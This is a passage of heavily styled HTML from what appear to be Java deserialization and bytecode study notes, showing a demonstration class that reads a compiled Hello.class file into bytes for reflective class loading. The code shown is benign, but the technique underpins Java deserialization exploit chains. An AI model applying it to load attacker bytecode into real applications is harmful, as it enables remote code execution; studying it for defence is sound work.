#008000;font-weight: bold;font-family: Consolas;">xml</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">internal</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">security</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">exceptions</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">Base64DecodingException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">com</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">sun</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">org</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">apache</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">xml</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">internal</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">security</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">utils</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">Base64</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">java</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">io</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.*;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">java</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">lang</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">reflect</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">InvocationTargetException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">java</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">lang</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">reflect</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">Method</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> HelloDefineClass </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">main</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> args</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">throws</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">NoSuchMethodException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Base64DecodingException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">InvocationTargetException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IllegalAccessException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">InstantiationException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IOException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">File</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> file </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">File</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;C:/Users/Administrator/IdeaProjects/test1/target/classes/org/test/ser/Hello.class&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">InputStream</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> in </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">FileInputStream</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">file</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">byte</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> content </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>content </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim 